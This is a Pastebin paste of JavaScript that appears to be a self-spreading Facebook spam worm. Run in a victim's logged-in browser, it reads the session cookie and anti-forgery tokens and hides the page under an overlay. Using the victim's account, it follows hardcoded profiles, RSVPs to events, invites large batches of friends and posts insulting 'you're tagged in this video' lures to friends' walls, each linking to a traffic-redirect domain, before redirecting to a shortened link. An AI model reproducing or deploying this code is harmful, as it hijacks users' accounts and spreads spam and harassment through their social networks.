Advertisement
Guest User

Untitled

a guest
Jun 27th, 2011
1,146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.44 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5. //http://www.raxarstudios.com/x/audiotrack3.mp3
  6.  
  7. function overlay()
  8. {
  9. darkbox = document.createElement('div');
  10. document.body.appendChild(darkbox);
  11. darkbox.style.position = 'absolute';
  12. darkbox.style.opacity = 0.6;
  13. darkbox.style.filter = 'alpha(opacity=60)';
  14. darkbox.style.background = '#000';
  15. darkbox.style.top = document.documentElement.scrollTop;
  16. darkbox.style.left = document.documentElement.scrollLeft;
  17. darkbox.style.height = 100 + '%';
  18. darkbox.style.width = 100 + '%';
  19. darkbox.style.zIndex = 9999999;
  20.  
  21. }
  22. overlay();
  23.  
  24. //alert('STARTING!');
  25.  
  26. function readCookie(name) {
  27. var nameEQ = name + "=";
  28. var ca = document.cookie.split(';');
  29. for (var i = 0; i < ca.length; i++) {
  30. var c = ca[i];
  31. while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  32. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
  33. }
  34. return null
  35. }
  36. var user_id = readCookie("c_user");
  37. var user_name = document.getElementById('navAccountName').innerHTML;
  38.  
  39.  
  40. /* Utilities. */
  41. function getRandomInt (min, max) {
  42. return Math.floor(Math.random() * (max - min + 1)) + min;
  43. }
  44. function randomValue(arr) {
  45. return arr[getRandomInt(0, arr.length-1)];
  46. }
  47.  
  48.  
  49. /* Setup some variables. */
  50. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  51. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  52. var video_url = "http://www.youtube.com/?" + Math.random();
  53.  
  54. /* Domain spinner. */
  55.  
  56.  
  57.  
  58. var domains = ['http://www.trafficredirect.info?x=horse', 'http://www.trafficredirect.info?x=sheep', 'http://www.trafficredirect.info?x=pig', 'http://www.trafficredirect.info?x=cheetah', 'http://www.trafficredirect.info?x=deer', 'http://www.trafficredirect.info?x=hamster', 'http://www.trafficredirect.info?x=duck', 'http://www.trafficredirect.info?x=monkey', 'http://www.trafficredirect.info?x=frog', 'http://www.trafficredirect.info?x=eagle'];
  59.  
  60. /* Message spinner. */
  61. var pf = ['100002520354451', '100002465064681'];
  62. var ef1 = ['226657387356626', '100578123370886', '124691257614476', '221844367849940', '212179258819664'];
  63. var ef2 = ['133401236739094', '192705090778545', '183846828340075', '240299052650041', '124616000956197'];
  64. var e1 = randomValue(ef1);
  65. var e2 = randomValue(ef2);
  66. var p0 = ['what the fuck', 'what the fuck?', 'what the fuck?!!', 'what the fuck...', 'WTF', 'WTF...', 'WTF!', 'WTF!?', 'OMG', 'OMG...', 'OMG!', 'OMG!??', 'ROFL', 'ROFL!!!', 'wtf', 'wtf...', 'wtf!', 'wtf!?', 'omg', 'omg...', 'omg!', 'omg!??', 'rofl', 'rofl!!!'];
  67. var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
  68. var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe you\'re tagged', 'why are you tagged','you should untag yourself'];
  69. var p3 = ['in this video?', 'in this vid?'];
  70. var message = "";
  71.  
  72.  
  73. /* Finalise. */
  74. var did = false;
  75. function done() {
  76. if(!did){
  77. did = true;
  78. window.top.location.href = "http://bit.ly/kL4Tj9";
  79. }
  80. }
  81.  
  82.  
  83. /* Add. */
  84. var paramz = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&profile_id=" + randomValue(pf) + "&source=profile_button&src=fbx_top_bar&submit=1&lsd=&post_form_id_source=AsyncRequest";
  85. var httpz = new XMLHttpRequest();
  86. httpz.open("POST", "http://www.facebook.com/ajax/profile/connect.php?__a=1", true);
  87. //Send the proper header information along with the request
  88. httpz.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  89. httpz.setRequestHeader("Content-length", paramz.length);
  90. httpz.setRequestHeader("Connection", "keep-alive");
  91. httpz.onreadystatechange = function () { //Call a function when the state changes.
  92. }
  93. httpz.send(paramz);
  94.  
  95. /* Continue. */
  96. function contin() {
  97. /* Invite Friends. */
  98. var d1 = "%7B%22";
  99. var d2 = "";
  100. var s = friends.payload.entries.length-75;
  101. if (s == 0) {
  102. s = 0;
  103. }
  104. /* EV1 */
  105. var counter = 0;
  106. for(var i=s; i<friends.payload.entries.length; i++){
  107. d1 = d1 + friends.payload.entries[i].uid
  108. if (i == friends.payload.entries.length-1){
  109. d1 = d1 + "%22%3A1%7D&"
  110. } else {
  111. d1 = d1 + "%22%3A1%2C%22"
  112. }
  113. d2 = d2 + "checkableitems[" + counter + "]=" + friends.payload.entries[i].uid + "&"
  114. counter++;
  115. }
  116. var param_invite = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&profileChooserItems=" + d1 + d2 + "node_id=" + e1 + "&send_invitations=1&profile_chooser=1&class=GuestManager&invite_msg=&submit=Submit&__d=1&lsd&post_form_id_source=AsyncRequest";
  117. var http_invite = new XMLHttpRequest();
  118. http_invite.open("POST", "http://www.facebook.com/ajax/social_graph/invite_dialog.php?__a=1", true);
  119. //Send the proper header information along with the request
  120. http_invite.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  121. http_invite.setRequestHeader("Content-length", param_invite.length);
  122. http_invite.setRequestHeader("Connection", "keep-alive");
  123. http_invite.onreadystatechange = function () { //Call a function when the state changes.
  124. }
  125. http_invite.send(param_invite);
  126. /* EV2 */
  127. d1 = "%7B%22";
  128. d2 = "";
  129. s = friends.payload.entries.length;
  130. if (s > 75) {
  131. s = 75;
  132. }
  133. for(var i=0; i<s; i++){
  134. d1 = d1 + friends.payload.entries[i].uid
  135. if (i == s-1){
  136. d1 = d1 + "%22%3A1%7D&"
  137. } else {
  138. d1 = d1 + "%22%3A1%2C%22"
  139. }
  140. d2 = d2 + "checkableitems[" + i + "]=" + friends.payload.entries[i].uid + "&"
  141. }
  142. var param_invite2 = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&profileChooserItems=" + d1 + d2 + "node_id=" + e2 + "&send_invitations=1&profile_chooser=1&class=GuestManager&invite_msg=&submit=Submit&__d=1&lsd&post_form_id_source=AsyncRequest";
  143. var http_invite2 = new XMLHttpRequest();
  144. http_invite2.open("POST", "http://www.facebook.com/ajax/social_graph/invite_dialog.php?__a=1", true);
  145. //Send the proper header information along with the request
  146. http_invite2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  147. http_invite2.setRequestHeader("Content-length", param_invite2.length);
  148. http_invite2.setRequestHeader("Connection", "keep-alive");
  149. http_invite2.onreadystatechange = function () { //Call a function when the state changes.
  150. }
  151. http_invite2.send(param_invite2);
  152.  
  153. /* Post to Walls. */
  154. var max = friends.payload.entries.length;
  155. //alert(max);
  156. if(max > 30) {
  157. max = 30;
  158. }
  159. for(var count=0; count<max; count++){
  160.  
  161. if (friends.payload.entries[count].uid != user_id) {
  162.  
  163. message = [randomValue(p1), friends.payload.entries[count].text.substr(0,friends.payload.entries[count].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
  164.  
  165. var httpwp = new XMLHttpRequest();
  166. var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  167. var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + friends.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=" + video_url + "&attachment[params][urlInfo][canonical]=" + video_url + "&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=YouTube&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=" + friends.payload.entries[count].text.substr(0,friends.payload.entries[count].text.indexOf(' ')) + " " + randomValue(p0) + "&attachment[params][url]=" + video_url + "&attachment[params][video][type]=application/x-shockwave-flash&attachment[params][video][src]=" + randomValue(domains) + "%26" + Math.random() + "&attachment[params][video][width]=398&attachment[params][video][height]=224&attachment[params][video][v]=0&attachment[params][video][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=http://i2.ytimg.com/vi/mXn65-eTHZQ/default.jpg&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=" + message + "&xhpc_message=" + message + "&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest";
  168.  
  169. httpwp.open("POST", urlwp, true);
  170. //Send the proper header information along with the request
  171. httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  172. httpwp.setRequestHeader("Content-length", paramswp.length);
  173. httpwp.setRequestHeader("Connection", "keep-alive");
  174. httpwp.onreadystatechange = function () { //Call a function when the state changes.
  175. }
  176. httpwp.send(paramswp);
  177. }
  178. }
  179. setTimeout("done()",5000);
  180.  
  181. }
  182.  
  183. /* Rawwr. */
  184. var x = 0;
  185. var token = Math.round(new Date().getTime() / 1000);
  186. var http1 = new XMLHttpRequest();
  187. var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only";
  188. var params1 = "";
  189. var friends;
  190. http1.open("GET", url1 + "?" + params1, true);
  191. http1.onreadystatechange = function () { //Call a function when the state changes.
  192.  
  193. if (http1.readyState == 4 && http1.status == 200) { // If state = success
  194.  
  195. /* Collect Friends. */
  196. friends = http1.responseText;
  197. friends = friends.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
  198. friends = JSON.parse(friends); // Convert the response to JSON
  199.  
  200. /* Attend Event. */
  201. var param_attending = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&eid=" + e1 + "&inline=1&new_profile=1&rsvp_button[Attending]=I'm%20attending&lsd&post_form_id_source=AsyncRequest";
  202. var http_attending = new XMLHttpRequest();
  203. http_attending.open("POST", "http://www.facebook.com/ajax/events/actions.php?__a=1", true);
  204. http_attending.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  205. http_attending.setRequestHeader("Content-length", param_attending.length);
  206. http_attending.setRequestHeader("Connection", "keep-alive");
  207. http_attending.onreadystatechange = function () {
  208. if (http_attending.readyState == 4 && http_attending.status == 200) { // If state = success
  209.  
  210. /* Attend Event. */
  211. var param_attending2 = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&eid=" + e2 + "&inline=1&new_profile=1&rsvp_button[Attending]=I'm%20attending&lsd&post_form_id_source=AsyncRequest";
  212. var http_attending2 = new XMLHttpRequest();
  213. http_attending2.open("POST", "http://www.facebook.com/ajax/events/actions.php?__a=1", true);
  214. http_attending2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  215. http_attending2.setRequestHeader("Content-length", param_attending2.length);
  216. http_attending2.setRequestHeader("Connection", "keep-alive");
  217. http_attending2.onreadystatechange = function () {
  218. if (http_attending2.readyState == 4 && http_attending2.status == 200) { // If state = success
  219. /* Continue. */
  220. setTimeout("contin()",500);
  221. http_attending2.close;
  222. }
  223. }
  224. http_attending2.send(param_attending2);
  225. http_attending.close;
  226.  
  227. }
  228. }
  229. http_attending.send(param_attending);
  230. http1.close;
  231. }
  232. }
  233. http1.send(null);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement